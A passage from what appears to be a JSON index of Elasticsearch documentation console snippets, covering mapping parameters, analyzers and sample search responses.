\"type\":\"text\",\n \"analyzer\":\"my_analyzer\", <3>\n \"search_analyzer\":\"my_stop_analyzer\", <4>\n \"search_quote_analyzer\":\"my_analyzer\" <5>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"title\":\"The Quick Brown Fox\"\n}\n\nPUT my-index-000001/_doc/2\n{\n \"title\":\"A Quick Brown Fox\"\n}\n\nGET my-index-000001/_search\n{\n \"query\":{\n \"query_string\":{\n \"query\":\"\\\"the quick brown fox\\\"\" <6>\n }\n }\n}"}, {"source_location":{"file":"mapping/params/coerce.asciidoc","line":19},"digest":"5f3373887e8d3dc31239b687a5151449","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"number_one\": {\n \"type\": \"integer\"\n },\n \"number_two\": {\n \"type\": \"integer\",\n \"coerce\": false\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"number_one\": \"10\" <1>\n}\n\nPUT my-index-000001/_doc/2\n{\n \"number_two\": \"10\" <2>\n}"}, {"source_location":{"file":"mapping/params/coerce.asciidoc","line":60},"digest":"d0546f047359b85a7e98207dc8de896a","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"index.mapping.coerce\": false\n },\n \"mappings\": {\n \"properties\": {\n \"number_one\": {\n \"type\": \"integer\",\n \"coerce\": true\n },\n \"number_two\": {\n \"type\": \"integer\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{ \"number_one\": \"10\" } <1>\n\nPUT my-index-000001/_doc/2\n{ \"number_two\": \"10\" } <2>"}, {"source_location":{"file":"mapping/params/copy-to.asciidoc","line":15},"digest":"208c2b41bd1659aae8f02fa3e3b7378a","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"first_name\": {\n \"type\": \"text\",\n \"copy_to\": \"full_name\" <1>\n },\n \"last_name\": {\n \"type\": \"text\",\n \"copy_to\": \"full_name\" <1>\n },\n \"full_name\": {\n \"type\": \"text\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"first_name\": \"John\",\n \"last_name\": \"Smith\"\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"full_name\": { <2>\n \"query\": \"John Smith\",\n \"operator\": \"and\"\n }\n }\n }\n}\n"}, {"source_location":{"file":"mapping/params/doc-values.asciidoc","line":37},"digest":"b87438263ccd68624b1d69d8750f9432","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"status_code\": { <1>\n \"type\": \"long\"\n },\n \"session_id\": { <2>\n \"type\": \"long\",\n \"index\": false\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/doc-values.asciidoc","line":65},"digest":"2f9574fee2ebecd6f7d917ee99b26bcc","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"status_code\": { <1>\n \"type\": \"keyword\"\n },\n \"session_id\": { <2>\n \"type\": \"keyword\",\n \"doc_values\": false\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/dynamic.asciidoc","line":9},"digest":"f6edbed2b5b2709bbc13866a4780e27a","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"username\": \"johnsmith\",\n \"name\": { <1>\n \"first\": \"John\",\n \"last\": \"Smith\"\n }\n}\n\nGET my-index-000001/_mapping <2>"}, {"source_location":{"file":"mapping/params/dynamic.asciidoc","line":27},"digest":"14af7e2899e64f231068bded6aaf9ec5","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/2\n{\n \"username\": \"marywhite\",\n \"email\": \"mary@white.com\",\n \"name\": {\n \"first\": \"Mary\",\n \"middle\": \"Alice\",\n \"last\": \"White\"\n }\n}\n\nGET my-index-000001/_mapping"}, {"source_location":{"file":"mapping/params/dynamic.asciidoc","line":53},"digest":"52cdb5526ce69d0223d1dd198308bfea","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic\": false, <1>\n \"properties\": {\n \"user\": { <2>\n \"properties\": {\n \"name\": {\n \"type\": \"text\"\n },\n \"social_networks\": {\n \"dynamic\": true, <3>\n \"properties\": {}\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/eager-global-ordinals.asciidoc","line":51},"digest":"b3a1c4220617ded67ed43fff2051d324","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_mapping\n{\n \"properties\": {\n \"tags\": {\n \"type\": \"keyword\",\n \"eager_global_ordinals\": true\n }\n }\n}"}, {"source_location":{"file":"mapping/params/eager-global-ordinals.asciidoc","line":74},"digest":"7ff4124df0541ee2496034004f4146d4","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_mapping\n{\n \"properties\": {\n \"tags\": {\n \"type\": \"keyword\",\n \"eager_global_ordinals\": false\n }\n }\n}"}, {"source_location":{"file":"mapping/params/enabled.asciidoc","line":17},"digest":"ab0fd1908c9957cc7f63165c156e48cd","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"user_id\": {\n \"type\": \"keyword\"\n },\n \"last_updated\": {\n \"type\": \"date\"\n },\n \"session_data\": { <1>\n \"type\": \"object\",\n \"enabled\": false\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/session_1\n{\n \"user_id\": \"kimchy\",\n \"session_data\": { <2>\n \"arbitrary_object\": {\n \"some_array\": [ \"foo\", \"bar\", { \"baz\": 2 } ]\n }\n },\n \"last_updated\": \"2015-12-06T18:20:22\"\n}\n\nPUT my-index-000001/_doc/session_2\n{\n \"user_id\": \"jpountz\",\n \"session_data\": \"none\", <3>\n \"last_updated\": \"2015-12-06T18:22:13\"\n}"}, {"source_location":{"file":"mapping/params/enabled.asciidoc","line":64},"digest":"dfbf53781adc6640493d49931a352167","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"enabled\": false <1>\n }\n}\n\nPUT my-index-000001/_doc/session_1\n{\n \"user_id\": \"kimchy\",\n \"session_data\": {\n \"arbitrary_object\": {\n \"some_array\": [ \"foo\", \"bar\", { \"baz\": 2 } ]\n }\n },\n \"last_updated\": \"2015-12-06T18:20:22\"\n}\n\nGET my-index-000001/_doc/session_1 <2>\n\nGET my-index-000001/_mapping <3>"}, {"source_location":{"file":"mapping/params/enabled.asciidoc","line":99},"digest":"a1490f71d705053951870fd2d3bceb39","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"session_data\": {\n \"type\": \"object\",\n \"enabled\": false\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/session_1\n{\n \"session_data\": \"foo bar\" <1>\n}"}, {"source_location":{"file":"mapping/params/format.asciidoc","line":13},"digest":"41ad6077f9c1b8d8fefab6ea1660edcd","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"date\": {\n \"type\": \"date\",\n \"format\": \"yyyy-MM-dd\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/ignore-above.asciidoc","line":10},"digest":"3bb5951a9e1186af5d154f56ffc13502","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"message\": {\n \"type\": \"keyword\",\n \"ignore_above\": 20 <1>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1 <2>\n{\n \"message\": \"Syntax error\"\n}\n\nPUT my-index-000001/_doc/2 <3>\n{\n \"message\": \"Syntax error with some long stacktrace\"\n}\n\nGET my-index-000001/_search <4>\n{\n \"aggs\": {\n \"messages\": {\n \"terms\": {\n \"field\": \"message\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/ignore-malformed.asciidoc","line":16},"digest":"b87bc8a521995051c7e7395f9c047e1c","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"number_one\": {\n \"type\": \"integer\",\n \"ignore_malformed\": true\n },\n \"number_two\": {\n \"type\": \"integer\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"text\": \"Some text value\",\n \"number_one\": \"foo\" <1>\n}\n\nPUT my-index-000001/_doc/2\n{\n \"text\": \"Some text value\",\n \"number_two\": \"foo\" <2>\n}"}, {"source_location":{"file":"mapping/params/ignore-malformed.asciidoc","line":70},"digest":"4a7510a9c0468303658383c00796dad2","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"index.mapping.ignore_malformed\": true <1>\n },\n \"mappings\": {\n \"properties\": {\n \"number_one\": { <1>\n \"type\": \"byte\"\n },\n \"number_two\": {\n \"type\": \"integer\",\n \"ignore_malformed\": false <2>\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/index-options.asciidoc","line":32},"digest":"f342465c65ba76383dedbb334b57b616","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"index_options\": \"offsets\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"text\": \"Quick brown fox\"\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"text\": \"brown fox\"\n }\n },\n \"highlight\": {\n \"fields\": {\n \"text\": {} <1>\n }\n }\n}"}, {"source_location":{"file":"mapping/params/index-prefixes.asciidoc","line":21},"digest":"e08fb1435dc659c24badf25b676efb68","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"body_text\": {\n \"type\": \"text\",\n \"index_prefixes\": { } <1>\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/index-prefixes.asciidoc","line":41},"digest":"029de2f5383a42e1ac4ca1565bd2a130","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"full_name\": {\n \"type\": \"text\",\n \"index_prefixes\": {\n \"min_chars\" : 1,\n \"max_chars\" : 10\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/meta.asciidoc","line":9},"digest":"f10ab582387b2c157917a60205c993f7","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"latency\": {\n \"type\": \"long\",\n \"meta\": {\n \"unit\": \"ms\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/multi-fields.asciidoc","line":10},"digest":"6aa2941855d13f365f70aa8767ecb137","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"city\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\": { <1>\n \"type\": \"keyword\"\n }\n }\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"city\": \"New York\"\n}\n\nPUT my-index-000001/_doc/2\n{\n \"city\": \"York\"\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"city\": \"york\" <2>\n }\n },\n \"sort\": {\n \"city.raw\": \"asc\" <3>\n },\n \"aggs\": {\n \"Cities\": {\n \"terms\": {\n \"field\": \"city.raw\" <3>\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/multi-fields.asciidoc","line":82},"digest":"4a2080ae55d931eb0643cc3eb91ec524","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"text\": { <1>\n \"type\": \"text\",\n \"fields\": {\n \"english\": { <2>\n \"type\": \"text\",\n \"analyzer\": \"english\"\n }\n }\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{ \"text\": \"quick brown fox\" } <3>\n\nPUT my-index-000001/_doc/2\n{ \"text\": \"quick brown foxes\" } <3>\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"multi_match\": {\n \"query\": \"quick brown foxes\",\n \"fields\": [ <4>\n \"text\",\n \"text.english\"\n ],\n \"type\": \"most_fields\" <4>\n }\n }\n}"}, {"source_location":{"file":"mapping/params/normalizer.asciidoc","line":18},"digest":"4cd40113e0fc90c37976f28d7e4a2327","lang":"console","found":["ruby"],"source":"PUT index\n{\n \"settings\": {\n \"analysis\": {\n \"normalizer\": {\n \"my_normalizer\": {\n \"type\": \"custom\",\n \"char_filter\": [],\n \"filter\": [\"lowercase\", \"asciifolding\"]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"foo\": {\n \"type\": \"keyword\",\n \"normalizer\": \"my_normalizer\"\n }\n }\n }\n}\n\nPUT index/_doc/1\n{\n \"foo\": \"BÀR\"\n}\n\nPUT index/_doc/2\n{\n \"foo\": \"bar\"\n}\n\nPUT index/_doc/3\n{\n \"foo\": \"baz\"\n}\n\nPOST index/_refresh\n\nGET index/_search\n{\n \"query\": {\n \"term\": {\n \"foo\": \"BAR\"\n }\n }\n}\n\nGET index/_search\n{\n \"query\": {\n \"match\": {\n \"foo\": \"BAR\"\n }\n }\n}"}, {"source_location":{"file":"mapping/params/normalizer.asciidoc","line":82},"digest":"3088eb56d501a35ffbd654bc1016dbe2","lang":"console-result","found":[],"source":"{\n \"took\": $body.took,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.4700036,\n \"hits\": [\n {\n \"_index\": \"index\",\n \"_id\": \"1\",\n \"_score\": 0.4700036,\n \"_source\": {\n \"foo\": \"BÀR\"\n }\n },\n {\n \"_index\": \"index\",\n \"_id\": \"2\",\n \"_score\": 0.4700036,\n \"_source\": {\n \"foo\": \"bar\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/params/normalizer.asciidoc","line":125},"digest":"6f842819c50e8490080dd085e0c6aca3","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"foo_terms\": {\n \"terms\": {\n \"field\": \"foo\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/normalizer.asciidoc","line":143},"digest":"c962116c8a4852673ef22e6d05659e9b","lang":"console-result","found":[],"source":"{\n \"took\": 43,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 3,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": []\n },\n \"aggregations\": {\n \"foo_terms\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"bar\",\n \"doc_count\": 2\n },\n {\n \"key\": \"baz\",\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"mapping/params/norms.asciidoc","line":21},"digest":"209a9190082498f0b7daa26f8834846b","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_mapping\n{\n \"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"norms\": false\n }\n }\n}"}, {"source_location":{"file":"mapping/params/null-value.asciidoc","line":12},"digest":"afe5aeb9317f0ae470b28e85a8d98274","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"status_code\": {\n \"type\": \"keyword\",\n \"null_value\": \"NULL\" <1>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"status_code\": null\n}\n\nPUT my-index-000001/_doc/2\n{\n \"status_code\": [] <2>\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"term\": {\n \"status_code\": \"NULL\" <3>\n }\n }\n}"}, {"source_location":{"file":"mapping/params/position-increment-gap.asciidoc","line":15},"digest":"b8e6e320a19936f6edfc242ccb5cde43","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"names\": [ \"John Abraham\", \"Lincoln Smith\"]\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match_phrase\": {\n \"names\": {\n \"query\": \"Abraham Lincoln\" <1>\n }\n }\n }\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match_phrase\": {\n \"names\": {\n \"query\": \"Abraham Lincoln\",\n \"slop\": 101 <2>\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/position-increment-gap.asciidoc","line":53},"digest":"8963fb1e3d0900ba3b68be212e8972ee","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"names\": {\n \"type\": \"text\",\n \"position_increment_gap\": 0 <1>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"names\": [ \"John Abraham\", \"Lincoln Smith\"]\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match_phrase\": {\n \"names\": \"Abraham Lincoln\" <2>\n }\n }\n}"}, {"source_location":{"file":"mapping/params/properties.asciidoc","line":17},"digest":"069030e5f43d8f8ce3e3eca40205027e","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": { <1>\n \"manager\": {\n \"properties\": { <2>\n \"age\": { \"type\": \"integer\" },\n \"name\": { \"type\": \"text\" }\n }\n },\n \"employees\": {\n \"type\": \"nested\",\n \"properties\": { <3>\n \"age\": { \"type\": \"integer\" },\n \"name\": { \"type\": \"text\" }\n }\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1 <4>\n{\n \"region\": \"US\",\n \"manager\": {\n \"name\": \"Alice White\",\n \"age\": 30\n },\n \"employees\": [\n {\n \"name\": \"John Smith\",\n \"age\": 34\n },\n {\n \"name\": \"Peter Brown\",\n \"age\": 26\n }\n ]\n}"}, {"source_location":{"file":"mapping/params/properties.asciidoc","line":74},"digest":"1b5c8d6e61930a308008b5b1ace2aa07","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"manager.name\": \"Alice White\"\n }\n },\n \"aggs\": {\n \"Employees\": {\n \"nested\": {\n \"path\": \"employees\"\n },\n \"aggs\": {\n \"Employee Ages\": {\n \"histogram\": {\n \"field\": \"employees.age\",\n \"interval\": 5\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/search-analyzer.asciidoc","line":16},"digest":"bf8680d940c84e43a9483a25548dea57","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"autocomplete_filter\": {\n \"type\": \"edge_ngram\",\n \"min_gram\": 1,\n \"max_gram\": 20\n }\n },\n \"analyzer\": {\n \"autocomplete\": { <1>\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"autocomplete_filter\"\n ]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"analyzer\": \"autocomplete\", <2>\n \"search_analyzer\": \"standard\" <2>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"text\": \"Quick Brown Fox\" <3>\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"text\": {\n \"query\": \"Quick Br\", <4>\n \"operator\": \"and\"\n }\n }\n }\n}\n"}, {"source_location":{"file":"mapping/params/similarity.asciidoc","line":32},"digest":"d03b0e2f0f3f5ac8d53287c445007a89","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"default_field\": { <1>\n \"type\": \"text\"\n },\n \"boolean_sim_field\": {\n \"type\": \"text\",\n \"similarity\": \"boolean\" <2>\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/store.asciidoc","line":20},"digest":"5cd792dff7d5891c33bef098d9338ce1","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"store\": true <1>\n },\n \"date\": {\n \"type\": \"date\",\n \"store\": true <1>\n },\n \"content\": {\n \"type\": \"text\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"title\": \"Some short title\",\n \"date\": \"2015-01-01\",\n \"content\": \"A very long content field...\"\n}\n\nGET my-index-000001/_search\n{\n \"stored_fields\": [ \"title\", \"date\" ] <2>\n}"}, {"source_location":{"file":"mapping/params/subobjects.asciidoc","line":20},"digest":"c9a6ab0a56bb0177f158277185f68302","lang":"console","found":[],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"metrics\": {\n \"type\": \"object\",\n \"subobjects\": false, <1>\n \"properties\": {\n \"time\": { \"type\": \"long\" },\n \"time.min\": { \"type\": \"long\" },\n \"time.max\": { \"type\": \"long\" }\n }\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/metric_1\n{\n \"metrics.time\" : 100, <2>\n \"metrics.time.min\" : 10,\n \"metrics.time.max\" : 900\n}\n\nPUT my-index-000001/_doc/metric_2\n{\n \"metrics\" : {\n \"time\" : 100, <3>\n \"time.min\" : 10,\n \"time.max\" : 900\n }\n}\n\nGET my-index-000001/_mapping"}, {"source_location":{"file":"mapping/params/subobjects.asciidoc","line":58},"digest":"892d19664e35a698bb1cf59e3bb6b7a5","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"mappings\" : {\n \"properties\" : {\n \"metrics\" : {\n \"subobjects\" : false,\n \"properties\" : {\n \"time\" : {\n \"type\" : \"long\"\n },\n \"time.min\" : { <4>\n \"type\" : \"long\"\n },\n \"time.max\" : {\n \"type\" : \"long\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/subobjects.asciidoc","line":92},"digest":"070cf72783cfe534a04f2f64e4016052","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"subobjects\": false <1>\n }\n}\n\nPUT my-index-000001/_doc/metric_1\n{\n \"time\" : \"100ms\", <2>\n \"time.min\" : \"10ms\",\n \"time.max\" : \"900ms\"\n}\n"}, {"source_location":{"file":"mapping/params/subobjects.asciidoc","line":130},"digest":"1aa96eeaf63fc967e166d1a2fcdccccc","lang":"console","found":[],"source":"PUT my-index-000002\n{\n \"mappings\": {\n \"properties\": {\n \"metrics\": {\n \"subobjects\": false,\n \"properties\": {\n \"time\": {\n \"type\": \"object\", <1>\n \"properties\": {\n \"min\": { \"type\": \"long\" }, <2>\n \"max\": { \"type\": \"long\" }\n }\n }\n }\n }\n }\n }\n}\nGET my-index-000002/_mapping"}, {"source_location":{"file":"mapping/params/subobjects.asciidoc","line":154},"digest":"391dd80952ee838324ef437d3d73169e","lang":"console-result","found":[],"source":"{\n \"my-index-000002\" : {\n \"mappings\" : {\n \"properties\" : {\n \"metrics\" : {\n \"subobjects\" : false,\n \"properties\" : {\n \"time.min\" : { <3>\n \"type\" : \"long\"\n },\n \"time.max\" : {\n \"type\" : \"long\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/params/term-vector.asciidoc","line":35},"digest":"ab317aa09c4bd44abbf02517141e37ef","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"term_vector\": \"with_positions_offsets\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"text\": \"Quick brown fox\"\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"text\": \"brown fox\"\n }\n },\n \"highlight\": {\n \"fields\": {\n \"text\": {} <1>\n }\n }\n}"}, {"source_location":{"file":"analysis/testing.asciidoc","line":9},"digest":"035a7a919eb6513b4769a3727b7d6447","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"analyzer\": \"whitespace\",\n \"text\": \"The quick brown fox.\"\n}"}, {"source_location":{"file":"analysis/testing.asciidoc","line":20},"digest":"849718cd9322ec336d1805137eac05cd","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"The\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0\n },\n {\n \"token\": \"quick\",\n \"start_offset\": 4,\n \"end_offset\": 9,\n \"type\": \"word\",\n \"position\": 1\n },\n {\n \"token\": \"brown\",\n \"start_offset\": 10,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2\n },\n {\n \"token\": \"fox.\",\n \"start_offset\": 16,\n \"end_offset\": 20,\n \"type\": \"word\",\n \"position\": 3\n }\n ]\n}"}, {"source_location":{"file":"analysis/testing.asciidoc","line":62},"digest":"f7ec9062b3a7578fed55f119d7c22b74","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [ \"lowercase\", \"asciifolding\" ],\n \"text\": \"Is this déja vu?\"\n}"}, {"source_location":{"file":"analysis/testing.asciidoc","line":74},"digest":"2c5b97ad9e616d74cf8ac8f4bbe664a8","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"is\",\n \"start_offset\": 0,\n \"end_offset\": 2,\n \"type\": \"\",\n \"position\": 0\n },\n {\n \"token\": \"this\",\n \"start_offset\": 3,\n \"end_offset\": 7,\n \"type\": \"\",\n \"position\": 1\n },\n {\n \"token\": \"deja\",\n \"start_offset\": 8,\n \"end_offset\": 12,\n \"type\": \"\",\n \"position\": 2\n },\n {\n \"token\": \"vu\",\n \"start_offset\": 13,\n \"end_offset\": 15,\n \"type\": \"\",\n \"position\": 3\n }\n ]\n}"}, {"source_location":{"file":"analysis/testing.asciidoc","line":125},"digest":"1f13c7caef9c2fe0f73fce8795bbc9b0","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"std_folded\": { <1>\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"asciifolding\"\n ]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"my_text\": {\n \"type\": \"text\",\n \"analyzer\": \"std_folded\" <2>\n }\n }\n }\n}\n\nGET my-index-000001/_analyze <3>\n{\n \"analyzer\": \"std_folded\", <4>\n \"text\": \"Is this déjà vu?\"\n}\n\nGET my-index-000001/_analyze <3>\n{\n \"field\": \"my_text\", <5>\n \"text\": \"Is this déjà vu?\"\n}"}, {"source_location":{"file":"analysis/testing.asciidoc","line":168},"digest":"2c5b97ad9e616d74cf8ac8f4bbe664a8","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"is\",\n \"start_offset\": 0,\n \"end_offset\": 2,\n \"type\": \"\",\n \"position\": 0\n },\n {\n \"token\": \"this\",\n \"start_offset\": 3,\n \"end_offset\": 7,\n \"type\": \"\",\n \"position\": 1\n },\n {\n \"token\": \"deja\",\n \"start_offset\": 8,\n \"end_offset\": 12,\n \"type\": \"\",\n \"position\": 2\n },\n {\n \"token\": \"vu\",\n \"start_offset\": 13,\n \"end_offset\": 15,\n \"type\": \"\",\n \"position\": 3\n }\n ]\n}"}, {"source_location":{"file":"analysis/analyzers/configuring.asciidoc","line":10},"digest":"d69cf7c82602431d9e339583e7dfb988","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"std_english\": { <1>\n \"type\": \"standard\",\n \"stopwords\": \"_english_\"\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"my_text\": {\n \"type\": \"text\",\n \"analyzer\": \"standard\", <2>\n \"fields\": {\n \"english\": {\n \"type\": \"text\",\n \"analyzer\": \"std_english\" <3>\n }\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"field\": \"my_text\", <2>\n \"text\": \"The old brown cow\"\n}\n\nPOST my-index-000001/_analyze\n{\n \"field\": \"my_text.english\", <3>\n \"text\": \"The old brown cow\"\n}\n"}, {"source_location":{"file":"analysis/analyzers/custom-analyzer.asciidoc","line":59},"digest":"03582fc93683e573062bcfda45e01d69","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_custom_analyzer\": {\n \"type\": \"custom\", <1>\n \"tokenizer\": \"standard\",\n \"char_filter\": [\n \"html_strip\"\n ],\n \"filter\": [\n \"lowercase\",\n \"asciifolding\"\n ]\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_custom_analyzer\",\n \"text\": \"Is this déjà vu?\"\n}"}, {"source_location":{"file":"analysis/analyzers/custom-analyzer.asciidoc","line":159},"digest":"6f34e27481460a95e59ffbacb76bd637","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_custom_analyzer\": { <1>\n \"char_filter\": [\n \"emoticons\"\n ],\n \"tokenizer\": \"punctuation\",\n \"filter\": [\n \"lowercase\",\n \"english_stop\"\n ]\n }\n },\n \"tokenizer\": {\n \"punctuation\": { <2>\n \"type\": \"pattern\",\n \"pattern\": \"[ .,!?]\"\n }\n },\n \"char_filter\": {\n \"emoticons\": { <3>\n \"type\": \"mapping\",\n \"mappings\": [\n \":) => _happy_\",\n \":( => _sad_\"\n ]\n }\n },\n \"filter\": {\n \"english_stop\": { <4>\n \"type\": \"stop\",\n \"stopwords\": \"_english_\"\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_custom_analyzer\",\n \"text\": \"I'm a :) person, and you?\"\n}"}, {"source_location":{"file":"analysis/specify-analyzer.asciidoc","line":50},"digest":"af85ad2551d1cc6742c6521d71c889cc","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n 